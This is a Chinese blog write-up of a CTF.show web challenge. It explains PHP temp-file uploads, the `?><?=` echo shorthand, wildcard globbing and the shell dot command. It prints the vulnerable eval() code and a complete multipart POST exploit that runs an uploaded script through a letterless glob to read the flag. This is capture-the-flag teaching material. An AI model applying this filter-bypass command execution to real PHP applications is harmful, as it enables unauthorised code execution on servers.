CTF.show:红包题第二弹

学习一下知识点:
先马住p神的两篇文章

一些不包含数字和字母的 webshell

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无字母数字 webshell 之提高篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

这一段Y1ng师傅说的很详细了
https://www.gem-love.com/websecurity/1407.html
还有从这个师傅这边学到知识点
https://blog.csdn.net/qq_44657899/article/details/108011373


一、PHP上传机制

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。

二、PHP命令执行

执行命令方式:

等于echo+反引号又等?><?=;

<?=是echo()的别名用法,不需要开启short_open_tag。 需要先?>把前面的<?php给闭合掉

三、通配符与无字母数组命令执行

在这里插入图片描述
./exp.txt可以用./??p???代替

四、.+/解释

linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。
在这里插入图片描述点执行了tmp文件里的内容ls

五、做题

(这篇WP完全看着其他师傅写的做出来的,太难了)
?cmd存在着题目

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
?>

通过POST提交修改这几行,可以得到flag

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat /flag.txt
-----------------------------10242300956292313528205888--

在这里插入图片描述

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值